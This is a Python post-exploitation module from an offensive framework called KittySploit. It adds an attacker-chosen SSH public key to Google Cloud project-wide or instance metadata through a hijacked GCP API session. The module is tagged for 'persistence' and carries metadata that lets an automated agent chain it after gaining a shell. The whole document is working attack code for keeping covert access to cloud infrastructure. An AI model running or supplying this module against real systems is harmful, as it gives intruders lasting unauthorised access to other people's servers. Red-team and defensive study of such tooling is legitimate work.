GCP Add SSH Key Metadata
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
from kittysploit import *
from lib.post.gcp import GcpPostMixin
class Module(Post, GcpPostMixin):
__info__ = {
"name": "GCP Add SSH Key Metadata",
"description": "Add an SSH public key to project or instance metadata for legacy SSH access",
"author": "KittySploit Team",
"session_type": SessionType.GCP_API,
"tags": ["gcp", "cloud", "compute", "ssh", "persistence"],
'agent': {
'risk': 'intrusive',
'effects': ['configuration_change', 'api_request'],
'expected_requests': 2,
'reversible': True,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
ssh_public_key = OptString("", "SSH public key to add (single line)", True)
username = OptString("", "Unix username embedded in metadata; defaults to current client email local-part", False)
scope = OptString("project", "Metadata scope: project or instance", False)
instance_name = OptString("", "Instance name when scope=instance", False)
zone = OptString("", "Instance zone when scope=instance", False)
export_json = OptString("", "Optional output JSON file", False)
def run(self):
try:
project_id = self._gcp_project_id()
if not project_id:
print_error("Could not resolve project_id from session")
return False
public_key = str(self.ssh_public_key or "").strip()
if not public_key:
print_error("ssh_public_key is required")
return False
username = self._resolve_username()
if not username:
print_error("Could not resolve username for ssh-keys metadata entry")
return False
entry = f"{username}:{public_key}"
scope = str(self.scope or "project").strip().lower()
if scope == "instance":
instance_name = str(self.instance_name or "").strip()
zone = str(self.zone or "").strip()
if not instance_name or not zone:
print_error("instance_name and zone are required when scope=instance")
return False
result = self._gcp_add_ssh_key_instance_metadata(project_id, zone, instance_name, entry)
elif scope == "project":
result = self._gcp_add_ssh_key_project_metadata(project_id, entry)
else:
print_error("scope must be 'project' or 'instance'")
return False
if not result.get("ok"):
print_error(f"SSH key metadata update failed: {result.get('error', '')}")
return False
print_success(f"SSH key added to {scope} metadata for user {username}")
output = {
"project_id": project_id,
"scope": scope,
"username": username,
"entry": entry,
"response": result.get("body"),
}
if self.export_json:
exported = self._gcp_export_json(str(self.export_json or ""), output)
if exported:
print_success(f"Results exported to {exported}")
return self.module_result(success=True, data=output)
except Exception as exc:
print_error(f"SSH key metadata update failed: {exc}")
return False
def _resolve_username(self):
configured = str(self.username or "").strip()
if configured:
return configured
email = self._gcp_client_email()
if email and "@" in email:
return email.split("@", 1)[0]
return ""
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02 Aug 2026 20:51Current
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